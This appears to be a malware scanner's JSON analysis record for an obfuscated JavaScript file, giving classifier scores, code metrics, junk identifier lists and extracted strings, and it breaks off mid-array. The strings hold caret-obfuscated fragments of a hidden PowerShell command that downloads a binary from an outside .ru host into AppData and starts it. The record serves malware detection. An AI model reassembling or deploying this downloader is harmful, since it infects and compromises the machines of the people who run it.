{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9997623562812805, "class": 2 } ], "prob": 0.99976236, "class": 2, "models": [ { "m": "az", "prob": 0.98245907, "class": 0 }, { "m": "az/scripts", "prob": 0.99844223, "class": 1 }, { "m": "az/javascript", "prob": 0.99976236, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-06T14:34:25Z" }, "path": "20170506_ecccca5ec2f20a344624f121ede95103.js", "raw": { "v": "4", "fs": [ { "f": "K₂O₈(Al₂As₁₀C₄Xe₄CaCoEr₂S₂)H₂(Os₂Po₄)Md", "k": { "source.imports[0]": "abjiwimly", "source.imports[1]": "agezu", "source.imports[2]": "agxemohs", "source.imports[3]": "ajsuvust", "source.imports[4]": "akamsom", "source.imports[5]": "akomoqypr", "source.imports[6]": "aktas", "source.imports[7]": "akvocxahe", "source.imports[8]": "alucgi", "source.imports[9]": "ancopyzetz", "source.strings[0]": "%aPPDAT", "source.strings[1]": ")^;st^AR^", "source.strings[2]": "D^ow^S^t^ylE^ ^", "source.strings[3]": "W-^Ob^jEC^t ", "source.strings[4]": "WScript.Shell", "source.strings[5]": "^ebCLiEn^T).DoWN", "source.strings[6]": "^s ^-N^oPRO^", "source.strings[7]": "a%.EXe", "source.strings[8]": "a%.EXe\\')^;st^AR^", "source.strings[9]": "abtejfi", "source.has_imports": true, "source.imports[10]": "anipfiv", "source.imports[11]": "apurobha", "source.imports[12]": "aqfumercup", "source.imports[13]": "aqpags", "source.imports[14]": "asizipzafx", "source.imports[15]": "asuxovx", "source.imports[16]": "atxyre", "source.imports[17]": "avtojiny", "source.imports[18]": "axcebviq", "source.imports[19]": "axukw", "source.imports[20]": "azjixegevx", "source.imports[21]": "bcuxab", "source.imports[22]": "bjeqwinalh", "source.imports[23]": "boboveke", "source.imports[24]": "brujybz", "source.imports[25]": "byfotsexu", "source.imports[26]": "bymho", "source.imports[27]": "bzywesb", "source.imports[28]": "caxzuguwk", "source.imports[29]": "ccyxy", "source.imports[30]": "cduwmawy", "source.imports[31]": "cijdeqzuvzi", "source.imports[32]": "cjyfyq", "source.imports[33]": "cnakciq", "source.imports[34]": "cowvunty", "source.imports[35]": "cpekage", "source.imports[36]": "cximantaxde", "source.imports[37]": "cyffelpy", "source.imports[38]": "cypyvgik", "source.imports[39]": "czaje", "source.imports[40]": "devupu", "source.imports[41]": "dluhruqid", "source.imports[42]": "dsijidqygp", "source.imports[43]": "dunas", "source.imports[44]": "dunwa", "source.imports[45]": "dvonud", "source.imports[46]": "ebip", "source.imports[47]": "ebyhins", "source.imports[48]": "ecfyzubjizw", "source.imports[49]": "ecohlagyg", "source.imports[50]": "edmabviwif", "source.imports[51]": "efeca", "source.imports[52]": "ehjeroxy", "source.imports[53]": "ejecixu", "source.imports[54]": "ejxyrjipe", "source.imports[55]": "ekjufyfx", "source.imports[56]": "ektuqyk", "source.imports[57]": "eldevzevj", "source.imports[58]": "emeww", "source.imports[59]": "emovelru", "source.imports[60]": "emyjqohj", "source.imports[61]": "epfowpo", "source.imports[62]": "etcyty", "source.imports[63]": "etissimnomz", "source.imports[64]": "etjufa", "source.imports[65]": "etnumrubvuc", "source.imports[66]": "evacusamj", "source.imports[67]": "ewocamz", "source.imports[68]": "ezato", "source.imports[69]": "eznywzubx", "source.imports[70]": "ezozibot", "source.imports[71]": "fasine", "source.imports[72]": "fhyqyvhyr", "source.imports[73]": "floxquvd", "source.imports[74]": "fmocbozobn", "source.imports[75]": "fokilbyxa", "source.imports[76]": "foqmolb", "source.imports[77]": "frukpoze", "source.imports[78]": "fzoqfuble", "source.imports[79]": "gcatwyjew", "source.imports[80]": "gezbevwon", "source.imports[81]": "gipmala", "source.imports[82]": "gotvujybl", "source.imports[83]": "govhos", "source.imports[84]": "gsyqiks", "source.imports[85]": "gtonazivs", "source.imports[86]": "guvhycp", "source.imports[87]": "gvichujmoxy", "source.imports[88]": "hedbegfaz", "source.imports[89]": "hejwi", "source.imports[90]": "hhijarje", "source.imports[91]": "hnecnyxqigme", "source.imports[92]": "hopopala", "source.imports[93]": "hovlulfupj", "source.imports[94]": "hsyffav", "source.imports[95]": "huntizbim", "source.imports[96]": "ibedqakka", "source.imports[97]": "icyfe", "source.imports[98]": "idzuvqi", "source.imports[99]": "igjyficu", "source.strings[10]": "abv4n3", "source.strings[11]": "agkasest", "source.strings[12]": "apazhu", "source.strings[13]": "ating.ru/js/boxu", "source.strings[14]": "bjowcehsunw", "source.strings[15]": "cj1q2i1s7yl2u2oc8i3qcj1q21i5Xqcj1q21i5 /cj1q2 pOWncj1q21p8qcj1q21i5rszi5u6qcj1q21i5LLoc8i3qcj1q21i5Xqcj1q21i5 -qcj1q21i5xqcj1q21i5cj1q2ncj1q21p8uncj1q21p8gbe7i2Incj1q21p8oncj1q21p8nncj1q21p8pOncj1q21p8licj1q2Yncj1q21p8 byPabv4n3ncj1q21p8sncj1q21p8s ncj1q21p8-Nncj1q21p8oPROncj1q21p8fincj1q21p8lncj1q21p8qcj1q21i5 -ncj1q21p8wInyl2u2ncj1q21p8owncj1q21p8Sncj1q21p8gbe7i2ncj1q21p8ylqcj1q21i5ncj1q21p8 ncj1q21p8zi5u6iyl2u2ncj1q21p8yl2u2qcj1q21i5N o4i3Nqcj1q21i5ncj1q21p8W-ncj1q21p8Obncj1q21p8jqcj1q21i5cj1q2ncj1q21p8gbe7i2 sncj1q21p8ysgbe7i2ncj1q21p8qcj1q21i5i1s7oc8i3nqcj1q21i5ncj1q21p8gbe7i2ncj1q21p8oc8i3wncj1q21p8qcj1q21i5bcj1q2Liqcj1q21i5nncj1q21p8gbe7i2u4sn1oc8i3yl2u2oWNlncj1q21p8Oabv4n3yl2u2fncj1q21p8ILqcj1q21i5o4i3ncj1q21p8'zi5u6gbe7i2gbe7i2plqcj1q21i51y8//i1s7yoc8i3Ingbe7i2qcj1q21i5rnabv4n3lyl2u2abv4n3gbe7i2ingoc8i3ru/js/boxun4oc8i3bin','gbe7i2y1y9abv4n3PPyl2u2abv4n3gbe7i2abv4n3gbe7i2y1y9oc8i3qcj1q21i5Xqcj1q21i5'u4sn1ncj1q21p8;sgbe7i2ncj1q21p8abv4n3Rncj1q21p8gbe7i2-pRoncj1q21p8cj1q2ncj1q21p8qcj1q21i5Sncj1q21p8s gbe7i2y1y9abv4n3ppyl2u2abv4n3gbe7i2abv4n3gbe7i2y1y9oc8i3qcj1q21i5Xqcj1q21i5", "source.strings[16]": "cmD.eXE /c pOW^e", "source.strings[17]": "diqdiklogi", "source.strings[18]": "ebigabmub", "source.strings[19]": "eceghahby", "source.strings[20]": "elettinl", "source.strings[21]": "eriwje", "source.strings[22]": "feghocfijo", "source.strings[23]": "fi^l^e -^wIn", "source.strings[24]": "fqokhuty", "source.strings[25]": "fwaqnocigg", "source.strings[26]": "gbe7i2", "source.strings[27]": "glevwo", "source.strings[28]": "hid^deN (NE^", "source.strings[29]": "ilezonc", "source.strings[30]": "l^OADf^ILE(^'htt", "source.strings[31]": "liCY^ byPa^s", "source.strings[32]": "lusrugn", "source.strings[33]": "murrapnivlu", "source.strings[34]": "mylboqugp", "source.strings[35]": "n4.bin", "source.strings[36]": "n4.bin\\',\\'%aPPDAT", "source.strings[37]": "nbisyn", "source.strings[38]": "number", "source.strings[39]": "object", "source.strings[40]": "odjudosgozn", "source.strings[41]": "ojqasuseps", "source.strings[42]": "oqfavutca", "source.strings[43]": "ozyzce", "source.strings[44]": "p://my.InternalD", "source.strings[45]": "pdata%.eXE", "source.strings[46]": "qtewpi", "source.strings[47]": "replace", "source.strings[48]": "rgowawhefre", "source.strings[49]": "rsheLL.eXE -e", "source.strings[50]": "s^ysT^eM.ne^t^.w", "source.strings[51]": "t-pRo^C^ES^s %Ap", "source.strings[52]": "tvifrojucy", "source.strings[53]": "ujnopyfr", "source.strings[54]": "ukebdo", "source.strings[55]": "undefined", "source.strings[56]": "uwlosrosjyp", "source.strings[57]": "uxegatils", "source.strings[58]": "vluvesy", "source.strings[59]": "vuzpuc", "source.strings[60]": "wsi9d2", "source.strings[61]": "wzebwuldogi", "source.strings[62]": "xec^u^tI^o^n^pO^", "source.strings[63]": "xtiguzcybu", "source.functions[0]": "acguwel", "source.functions[1]": "akamsom", "source.functions[2]": "akow", "source.functions[3]": "aktas", "source.functions[4]": "akvocxahe", "source.functions[5]": "axukw", "source.functions[6]": "bymho", "source.functions[7]": "bzywesb", "source.functions[8]": "ceby", "source.functions[9]": "civtikwo", "source.imports[100]": "igudxyvp", "source.imports[101]": "ihuhitnowj", "source.imports[102]": "ijlazesz", "source.imports[103]": "ijpixmulc", "source.imports[104]": "ilkusrutc", "source.imports[105]": "ilozz", "source.imports[106]": "iluti", "source.imports[107]": "imzukhe", "source.imports[108]": "inqoddy", "source.imports[109]": "iprunine", "source.imports[110]": "irbipsa", "source.imports[111]": "isidrobuv", "source.imports[112]": "isomma", "source.imports[113]": "itobusv", "source.imports[114]": "ivupy", "source.imports[115]": "ixcydsymujx", "source.imports[116]": "jqewo", "source.imports[117]": "jygrenc", "source.imports[118]": "jyskiq", "source.imports[119]": "jyxfupq", "source.imports[120]": "kanymfy", "source.imports[121]": "kbaqxabetda", "source.imports[122]": "kduzizgy", "source.imports[123]": "kkuxeljy", "source.imports[124]": "kybnu", "source.imports[125]": "lcysecgilj", "source.imports[126]": "ligexebu", "source.imports[127]": "lkajlequ", "source.imports[128]": "lovqafo", "source.imports[129]": "ltypcildevwy", "source.imports[130]": "lvuqojc", "source.imports[131]": "mberjehype", "source.imports[132]": "mdygjunhacc", "source.imports[133]": "menhobu", "source.imports[134]": "mokcypnabju", "source.imports[135]": "moqacacma", "source.imports[136]": "muvdotefhi", "source.imports[137]": "mvejgamij", "source.imports[138]": "nancare", "source.imports[139]": "naxnetu", "source.imports[140]": "nbixputatr", "source.imports[141]": "ndoptis", "source.imports[142]": "nicomseto", "source.imports[143]": "nosnyfsop", "source.imports[144]": "nrecuxyco", "source.imports[145]": "nubu", "source.imports[146]": "nywizf", "source.imports[147]": "obecyv", "source.imports[148]": "odujzyw", "source.imports[149]": "ofdemledd", "source.imports[150]": "ofevdodlyxd", "source.imports[151]": "ogmidup", "source.imports[152]": "ogosris", "source.imports[153]": "ohovxabsi", "source.imports[154]": "ohpymn", "source.imports[155]": "ojakita", "source.imports[156]": "ojnubc", "source.imports[157]": "ojygu", "source.imports[158]": "okkoppy", "source.imports[159]": "okocopmo", "source.imports[160]": "olike", "source.imports[161]": "olpigat", "source.imports[162]": "olwupjaju", "source.imports[163]": "olxovbi", "source.imports[164]": "omehoq", "source.imports[165]": "omibi", "source.imports[166]": "onhicirnov", "source.imports[167]": "opanjes", "source.imports[168]": "oqkas", "source.imports[169]": "osunlahp", "source.imports[170]": "otopjefrynl", "source.imports[171]": "otuwi", "source.imports[172]": "oxwofdeqr", "source.imports[173]": "oznewmowl", "source.imports[174]": "ozwunjo", "source.imports[175]": "pditminsy", "source.imports[176]": "pjiciwe", "source.imports[177]": "pledmotamb", "source.imports[178]": "ppafbitu", "source.imports[179]": "psijawzi", "source.imports[180]": "psiwryriggy", "source.imports[181]": "puxoqitjo", "source.imports[182]": "pwabarwuvs", "source.imports[183]": "qducwizdyqq", "source.imports[184]": "qeho", "source.imports[185]": "qjygsaxl", "source.imports[186]": "qlygroryme", "source.imports[187]": "qmexaqco", "source.imports[188]": "qsyqozmedko", "source.imports[189]": "qwobijfadu", "source.imports[190]": "qykcaxo", "source.imports[191]": "rcituhev", "source.imports[192]": "rkikxot", "source.imports[193]": "rpulma", "source.imports[194]": "rrimwe", "source.imports[195]": "ryjer", "source.imports[196]": "sbocnygx", "source.imports[197]": "siduxpyq", "source.imports[198]": "swyre", "source.imports[199]": "tamed", "source.imports[200]": "tocqozvuh", "source.imports[201]": "tomi", "source.imports[202]": "tsimenpuwqa", "source.imports[203]": "tunqopt", "source.imports[204]": "tycym", "source.imports[205]": "ubvuhorl", "source.imports[206]": "udcerpozt", "source.imports[207]": "udohhitce", "source.imports[208]": "uflegqom", "source.imports[209]": "uflegqom.jyxfupq", "source.imports[210]": "ugpehwamjun", "source.imports[211]": "uhwyb", "source.imports[212]": "ukufidc", "source.imports[213]": "ukuzem", "source.imports[214]": "ulkema", "source.imports[215]": "ungydefa", "source.imports[216]": "upajgi", "source.imports[217]": "upishej", "source.imports[218]": "uqrece", "source.imports[219]": "uswabunti", "source.imports[220]": "util_log", "source.imports[221]": "uvaly", "source.imports[222]": "uwakevuct", "source.imports[223]": "uwcuso", "source.imports[224]": "uzetoqcy", "source.imports[225]": "vevhihcobt", "source.imports[226]": "viwgu", "source.imports[227]": "vlyscyv", "source.imports[228]": "vparjuj", "source.imports[229]": "vutycumve", "source.imports[230]": "wadepy", "source.imports[231]": "wefuguwl", "source.imports[232]": "welvaw", "source.imports[233]": "wgujfusy", "source.imports[234]": "wgysohgu", "source.imports[235]": "wqyzicbo", "source.imports[236]": "xabdoge", "source.imports[237]": "xaco", "source.imports[238]": "xdupqyfyz", "source.imports[239]": "xilyqbe", "source.imports[240]": "xovfagsifa", "source.imports[241]": "xsymuwyvm", "source.imports[242]": "xwygnampi", "source.imports[243]": "xyhenu", "source.imports[244]": "xypryvri", "source.imports[245]": "ybpevyqr", "source.imports[246]": "yjiso", "source.imports[247]": "ykfofpitxi", "source.imports[248]": "ylajalaq", "source.imports[249]": "ylxyzdinik", "source.imports[250]": "ynycqas", "source.imports[251]": "ynzaptu", "source.imports[252]": "ypvojti", "source.imports[253]": "yqepymwa", "source.imports[254]": "yqqyvrulal", "source.imports[255]": "yropadylg", "source.imports[256]": "yropadylg.run", "source.imports[257]": "ysajohas", "source.imports[258]": "yszucni", "source.imports[259]": "yvohpi", "source.imports[260]": "yvpako", "source.imports[261]": "yvwyzu", "source.imports[262]": "ywecox", "source.imports[263]": "ywedyto", "source.imports[264]": "ywupfuk", "source.imports[265]": "yxekpu", "source.imports[266]": "yxjefo", "source.imports[267]": "yxnajkif", "source.imports[268]": "yxoxym", "source.imports[269]": "yxuwim", "source.imports[270]": "yzysze", "source.imports[271]": "zelelxecy", "source.imports[272]": "zloxgoqvozsi", "source.imports[273]": "zqomfewn", "source.imports[274]": "zsymiljyjk", "source.imports[275]": "zvalwodm", "source.imports[276]": "zvanykyqu", "source.imports[277]": "zwagex", "source.functions[10]": "cnakciq", "source.functions[11]": "dweflohluk", "source.functions[12]": "ebyhins", "source.functions[13]": "ejecixu", "source.functions[14]": "ejxyrjipe", "source.functions[15]": "ekaclo", "source.functions[16]": "ektuqyk", "source.functions[17]": "etissimnomz", "source.functions[18]": "etnumrubvuc", "source.functions[19]": "fvadsyvaw", "source.functions[20]": "gozij", "source.functions[21]": "iksohru", "source.functions[22]": "isidrobuv", "source.functions[23]": "ixcydsymujx", "source.functions[24]": "kwacef", "source.functions[25]": "llignihicn", "source.functions[26]": "lovqafo", "source.functions[27]": "mrakmo", "source.functions[28]": "ojnubc", "source.functions[29]": "orhyxi", "source.functions[30]": "ovjihf", "source.functions[31]": "psiwryriggy", "source.functions[32]": "qewxybo", "source.functions[33]": "qjytsyfe", "source.functions[34]": "razpyn", "source.functions[35]": "rpulma", "source.functions[36]": "tifgilq", "source.functions[37]": "tipmi", "source.functions[38]": "ugpehwamjun", "source.functions[39]": "ulewy", "source.functions[40]": "uqcipg", "source.functions[41]": "utyntet", "source.functions[42]": "xwygnampi", "source.functions[43]": "xypryvri", "source.functions[44]": "ybpevyqr", "source.functions[45]": "yxekpu", "source.functions[46]": "zivjaq", "source.functions[47]": "zsirizi" }, "x": 76, "id": 0, "is": [ "guvhycp", "ekjufyfx", "olpigat", "ywupfuk", "moqacacma", "mvejgamij", "jyxfupq", "oqkas", "uhwyb", "ezato", "cduwmawy", "ilkusrutc", "ilozz", "ryjer", "ajsuvust", "olxovbi", "tunqopt", "cpekage", "opanjes", "dunwa", "ijlazesz", "ogosris", "akomoqypr", "dunas", "hsyffav", "oxwofdeqr", "gcatwyjew", "irbipsa", "igudxyvp", "efeca", "ojakita", "azjixegevx", "agxemohs", "qsyqozmedko", "foqmolb", "zqomfewn", "ywecox", "qjygsaxl", "aqpags", "hhijarje", "ohpymn", "omehoq", "swyre", "dsijidqygp", "wadepy", "qwobijfadu", "ubvuhorl", "vlyscyv", "cijdeqzuvzi", "rrimwe", "alucgi", "xabdoge", "qmexaqco", "cyffelpy", "caxzuguwk", "viwgu", "ccyxy", "icyfe", "jyskiq", "oznewmowl", "emeww", "uqrece", "kduzizgy", "ivupy", "jqewo", "nubu", "uvaly", "ijpixmulc", "ebip", "wgujfusy", "ungydefa", "rcituhev", "xilyqbe", "gezbevwon", "asuxovx", "hejwi", "ecohlagyg", "itobusv", "yxuwim", "muvdotefhi", "gsyqiks", "lvuqojc", "yzysze", "czaje", "tycym", "wqyzicbo", "yvwyzu", "olwupjaju", "mdygjunhacc", "upishej", "ulkema", "imzukhe", "uflegqom", "odujzyw", "qeho", "ukuzem", "kybnu", "nywizf", "agezu", "pjiciwe", "uflegqom", "uflegqom.jyxfupq", "util_log", "ukufidc", "ebyhins", "tomi", "xaco", "upajgi", "byfotsexu", "edmabviwif", "gvichujmoxy", "gotvujybl", "ylxyzdinik", "otopjefrynl", "otopjefrynl", "yxjefo", "xovfagsifa", "fmocbozobn", "olike", "abjiwimly", "ancopyzetz", "uzetoqcy", "inqoddy", "nbixputatr", "eldevzevj", "axcebviq", "axcebviq", "fhyqyvhyr", "zvanykyqu", "fokilbyxa", "etnumrubvuc", "iprunine", "sbocnygx", "boboveke", "ojygu", "ylajalaq", "xsymuwyvm", "ehjeroxy", "ehjeroxy", "ugpehwamjun", "akamsom", "bymho", "bzywesb", "yropadylg", "aktas", "ojnubc", "evacusamj", "vutycumve", "ogmidup", "ofevdodlyxd", "yjiso", "ysajohas", "ektuqyk", "ohovxabsi", "emovelru", "ywedyto", "ybpevyqr", "wgysohgu", "kanymfy", "nosnyfsop", "asizipzafx", "wefuguwl", "wefuguwl", "yvohpi", "mokcypnabju", "hedbegfaz", "ihuhitnowj", "ozwunjo", "tsimenpuwqa", "yxnajkif", "yxekpu", "pledmotamb", "govhos", "bjeqwinalh", "ezozibot", "ibedqakka", "isidrobuv", "qykcaxo", "puxoqitjo", "udohhitce", "apurobha", "apurobha", "qlygroryme", "tamed", "tamed", "huntizbim", "pditminsy", "osunlahp", "yxoxym", "xypryvri", "epfowpo", "cjyfyq", "rpulma", "cowvunty", "xyhenu", "bcuxab", "zelelxecy", "gipmala", "obecyv", "ejxyrjipe", "etissimnomz", "ofdemledd", "cximantaxde", "cypyvgik", "omibi", "iluti", "anipfiv", "anipfiv", "psiwryriggy", "psijawzi", "aqfumercup", "nancare", "brujybz", "etcyty", "menhobu", "ndoptis", "fasine", "uswabunti", "uswabunti", "etissimnomz", "ofdemledd", "cximantaxde", "cypyvgik", "omibi", "iluti", "anipfiv", "anipfiv", "psiwryriggy", "psijawzi", "aqfumercup", "nancare", "brujybz", "etcyty", "menhobu", "ndoptis", "fasine", "uswabunti", "uswabunti", "axukw", "lovqafo", "naxnetu", "siduxpyq", "dvonud", "lkajlequ", "uwcuso", "tocqozvuh", "isomma", "isomma", "ligexebu", "ltypcildevwy", "ecfyzubjizw", "okocopmo", "uwakevuct", "zwagex", "lovqafo", "naxnetu", "siduxpyq", "dvonud", "lkajlequ", "uwcuso", "tocqozvuh", "isomma", "isomma", "ligexebu", "ltypcildevwy", "ecfyzubjizw", "okocopmo", "uwakevuct", "zwagex", "lovqafo", "naxnetu", "siduxpyq", "dvonud", "lkajlequ", "uwcuso", "tocqozvuh", "isomma", "isomma", "ligexebu", "ltypcildevwy", "ecfyzubjizw", "okocopmo", "uwakevuct", "zwagex", "jygrenc", "ppafbitu", "hnecnyxqigme", "ypvojti", "nrecuxyco", "okkoppy", "okkoppy", "dluhruqid", "atxyre", "ixcydsymujx", "ejecixu", "lcysecgilj", "welvaw", "welvaw", "akvocxahe", "igjyficu", "jygrenc", "ppafbitu", "hnecnyxqigme", "ypvojti", "nrecuxyco", "okkoppy", "okkoppy", "dluhruqid", "atxyre", "ixcydsymujx", "ejecixu", "lcysecgilj", "welvaw", "welvaw", "akvocxahe", "igjyficu", "jygrenc", "ppafbitu", "hnecnyxqigme", "ypvojti", "nrecuxyco", "okkoppy", "okkoppy", "dluhruqid", "atxyre", "ixcydsymujx", "ejecixu", "lcysecgilj", "welvaw", "welvaw", "akvocxahe", "igjyficu", "pwabarwuvs", "yropadylg.run", "jygrenc", "ppafbitu", "hnecnyxqigme", "ypvojti", "nrecuxyco", "okkoppy", "okkoppy", "dluhruqid", "atxyre", "ixcydsymujx", "ejecixu", "lcysecgilj", "welvaw", "welvaw", "akvocxahe", "igjyficu", "onhicirnov", "etjufa", "yqqyvrulal", "fzoqfuble", "gtonazivs", "bjeqwinalh", "ezozibot", "ibedqakka", "isidrobuv", "qykcaxo", "puxoqitjo", "udohhitce", "apurobha", "apurobha", "qlygroryme", "tamed", "tamed", "huntizbim", "pditminsy", "osunlahp", "yxoxym", "xypryvri", "epfowpo", "cjyfyq", "rpulma", "cowvunty", "xyhenu", "bcuxab", "zelelxecy", "gipmala", "obecyv", "bjeqwinalh", "ezozibot", "ibedqakka", "isidrobuv", "qykcaxo", "puxoqitjo", "udohhitce", "apurobha", "apurobha", "qlygroryme", "tamed", "tamed", "huntizbim", "pditminsy", "osunlahp", "yxoxym", "xypryvri", "epfowpo", "cjyfyq", "rpulma", "cowvunty", "xyhenu", "bcuxab", "zelelxecy", "gipmala", "obecyv", "floxquvd", "ykfofpitxi", "emyjqohj", "hovlulfupj", "devupu", "mberjehype", "yqepymwa", "cnakciq", "udcerpozt", "vevhihcobt", "yszucni", "kkuxeljy", "zvalwodm", "hopopala", "nicomseto", "ynzaptu", "ynycqas", "zsymiljyjk", "xdupqyfyz", "xwygnampi", "vparjuj", "zloxgoqvozsi", "rkikxot", "avtojiny", "qducwizdyqq", "yvpako", "eznywzubx", "kbaqxabetda", "idzuvqi", "ewocamz", "otuwi", "frukpoze", "xaco", "upajgi", "byfotsexu", "edmabviwif", "gvichujmoxy", "gotvujybl", "ylxyzdinik", "otopjefrynl", "otopjefrynl", "yxjefo", "xovfagsifa", "fmocbozobn", "olike", "abjiwimly", "xaco", "upajgi", "byfotsexu", "edmabviwif", "gvichujmoxy", "gotvujybl", "ylxyzdinik", "otopjefrynl", "otopjefrynl", "yxjefo", "xovfagsifa", "fmocbozobn", "olike", "abjiwimly" ], "ms": { "file": { "size": 22750.0 }, "text": { "tab_count": 5267.0, "digit_ratio": 0.11, "space_count": 2108.0, "total_lines": 828.0, "char_entropy": 4.8, "unique_chars": 77.0, "import_density": 56.4, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 0.52, "avg_line_length": 26.48, "lines_over_1000": 1.0, "max_line_length": 1141.0, "empty_line_ratio": 0.04, "last_line_length": 1.0, "long_token_count": 2.0, "most_common_char": "e", "whitespace_ratio": 0.36, "most_common_ratio": 0.04, "identifier_density": 0.87, "line_length_stddev": 41.37, "normalized_import_count": 16.23, "normalized_string_count": 14.87, "repeated_char_sequences": 369.0, "suspicious_string_ratio": 0.0, "suspicious_comment_ratio": 0.5, "max_inline_whitespace_run": 5.0, "normalized_function_count": 1.67, "imports_to_functions_ratio": 9.73, "strings_to_functions_ratio": 8.92, "normalized_unique_identifiers": 31.26, "identifiers_to_functions_ratio": 6.31 }, "imports": { "total": 467.0, "unique_modules": 278.0, "third_party_count": 467.0, "third_party_ratio": 1.0 }, "strings": { "total": 428.0, "avg_length": 11.8, "max_length": 1122.0, "path_count": 2.0, "avg_entropy": 2.23, "total_bytes": 5051.0, "entropy_stddev": 0.82, "very_long_strings": 2.0, "shell_command_strings": 2.0 }, "comments": { "chars": 64.0, "lines": 2.0, "total": 2.0, "to_code_ratio": 0.0, "code_in_comments": 1.0, "high_entropy_comments": 1.0 }, "functions": { "total": 48.0, "length_stddev": 2.24, "avg_name_length": 7.23, "no_params_count": 48.0, "avg_length_lines": 3.98, "max_length_lines": 19.0, "min_length_lines": 3.0, "density_per_100_lines": 5.8, "code_in_functions_ratio": 0.23 }, "identifiers": { "total": 717.0, "avg_length": 7.62, "max_length": 13.0, "min_length": 4.0, "avg_entropy": 2.65, "reuse_ratio": 0.42, "unique_count": 303.0, "length_stddev": 1.82, "all_lowercase_ratio": 0.99 } }, "ss": [ [ 37, "pdata%.eXE" ], [ 38, "pdata%.eXE" ], [ 126, "^s ^-N^oPRO^" ], [ 127, "^s ^-N^oPRO^" ], [ 200, "ating.ru/js/boxu" ], [ 201, "ating.ru/js/boxu" ], [ 270, "29028" ], [ 271, "29028" ], [ 293, "replace" ], [ 294, "replace" ], [ 316, "abv4n3" ], [ 317, "abv4n3" ], [ 338, "e" ], [ 339, "e" ], [ 375, "s^ysT^eM.ne^t^.w" ], [ 376, "s^ysT^eM.ne^t^.w" ], [ 427, "oc8i3" ], [ 428, "oc8i3" ], [ 452, "eriwje" ], [ 453, "eriwje" ], [ 513, "\\" ], [ 531, "gbe7i2" ], [ 532, "gbe7i2" ], [ 576, "l^OADf^ILE(^'htt" ], [ 577, "l^OADf^ILE(^'htt" ], [ 630, ")" ], [ 631, ")" ], [ 649, "75825" ], [ 650, "75825" ], [ 733, "liCY^ byPa^s" ], [ 734, "liCY^ byPa^s" ], [ 808, "fi^l^e -^wIn" ], [ 809, "fi^l^e -^wIn" ], [ 876, "ilezonc" ], [ 877, "ilezonc" ], [ 901, "c" ], [ 902, "c" ], [ 961, "murrapnivlu" ], [ 962, "murrapnivlu" ], [ 1009, "i1s7" ], [ 1010, "i1s7" ], [ 1055, "lisi" ], [ 1056, "lisi" ], [ 1113, "61135" ], [ 1114, "61135" ], [ 1223, "W-^Ob^jEC^t " ], [ 1224, "W-^Ob^jEC^t " ], [ 1277, "o4i3" ], [ 1278, "o4i3" ], [ 1297, "zi5u6" ], [ 1298, "zi5u6" ], [ 1320, "oqfavutca" ], [ 1321, "oqfavutca" ], [ 1441, "p://my.InternalD" ], [ 1442, "p://my.InternalD" ], [ 1579, "nc1p8" ], [ 1580, "nc1p8" ], [ 1623, "^ebCLiEn^T).DoWN" ], [ 1624, "^ebCLiEn^T).DoWN" ], [ 1697, "85388" ], [ 1698, "85388" ], [ 1798, "qc1i5" ], [ 1799, "qc1i5" ], [ 1820, "a" ], [ 1821, "a" ], [ 1838, "cj1q2" ], [ 1839, "cj1q2" ], [ 1967, "xec^u^tI^o^n^pO^" ], [ 1968, "xec^u^tI^o^n^pO^" ], [ 2022, "78313" ], [ 2023, "78313" ], [ 2046, "ty1y9" ], [ 2047, "ty1y9" ], [ 2092, "a%.EXe\\')^;st^AR^" ], [ 2093, "a%.EXe" ], [ 2101, ")^;st^AR^" ], [ 2169, "d" ], [ 2170, "d" ], [ 2209, "D^ow^S^t^ylE^ ^" ], [ 2210, "D^ow^S^t^ylE^ ^" ], [ 2261, "u4sn1" ], [ 2262, "u4sn1" ], [ 2325, "(" ], [ 2326, "(" ], [ 2443, "yl2u2" ], [ 2444, "yl2u2" ], [ 2551, "rsheLL.eXE -e" ], [ 2552, "rsheLL.eXE -e" ], [ 2627, "hid^deN (NE^" ], [ 2628, "hid^deN (NE^" ], [ 2680, "t" ], [ 2681, "t" ], [ 2720, "t-pRo^C^ES^s %Ap" ], [ 2721, "t-pRo^C^ES^s %Ap" ], [ 2773, "^" ], [ 2774, "^" ], [ 2812, "vwux" ], [ 2813, "vwux" ], [ 2834, "le1y8" ], [ 2835, "le1y8" ], [ 2897, "uxegatils" ], [ 2898, "uxegatils" ], [ 2999, "3830" ], [ 3000, "3830" ], [ 3039, "45905" ], [ 3040, "45905" ], [ 3059, "16064" ], [ 3060, "16064" ], [ 3079, "ozyzce" ], [ 3080, "ozyzce" ], [ 3103, "wsi9d2" ], [ 3104, "wsi9d2" ], [ 3129, "rgowawhefre" ], [ 3130, "rgowawhefre" ], [ 3179, "n4.bin\\',\\'%aPPDAT" ], [ 3180, "n4.bin" ], [ 3188, "," ], [ 3191, "%aPPDAT" ], [ 3313, "h" ], [ 3314, "h" ], [ 3354, "." ], [ 3355, "." ], [ 3494, "cmD.eXE /c pOW^e" ], [ 3495, "cmD.eXE /c pOW^e" ], [ 3589, "%" ], [ 3590, "%" ], [ 3607, "m" ], [ 3608, "m" ], [ 3659, "qula" ], [ 3660, "qula" ], [ 3707, "gab" ], [ 3708, "gab" ], [ 3861, "abtejfi" ], [ 3862, "abtejfi" ], [ 4111, "85021" ], [ 4112, "85021" ], [ 4176, "cj1q2i1s7yl2u2oc8i3qcj1q21i5Xqcj1q21i5 /cj1q2 pOWncj1q21p8qcj1q21i5rszi5u6qcj1q21i5LLoc8i3qcj1q21i5Xqcj1q21i5 -qcj1q21i5xqcj1" ], [ 4177, "cj1q2i1s7yl2u2oc8i3qcj1q21i5Xqcj1q21i5 /cj1q2 pOWncj1q21p8qcj1q21i5rszi5u6qcj1q21i5LLoc8i3qcj1q21i5Xqcj1q21i5 -qcj1q21i5xqcj1" ], [ 5612, "cri" ], [ 5613, "cri" ], [ 5820, "gi" ], [ 5821, "gi" ], [ 6217, "15672" ], [ 6218, "15672" ], [ 6361, "40639" ], [ 6362, "40639" ], [ 6424, "uwlosrosjyp" ], [ 6425, "uwlosrosjyp" ], [ 6701, "73008" ], [ 6702, "73008" ], [ 6790, "85890" ], [ 6791, "85890" ], [ 6829, "17855" ], [ 6830, "17855" ], [ 6922, "object" ], [ 6923, "object" ], [ 6995, "number" ], [ 6996, "number" ], [ 7158, "12766" ], [ 7159, "12766" ], [ 7262, "96106" ], [ 7263, "96106" ], [ 7319, "gab" ], [ 7320, "gab" ], [ 7349, "85021" ], [ 7350, "85021" ], [ 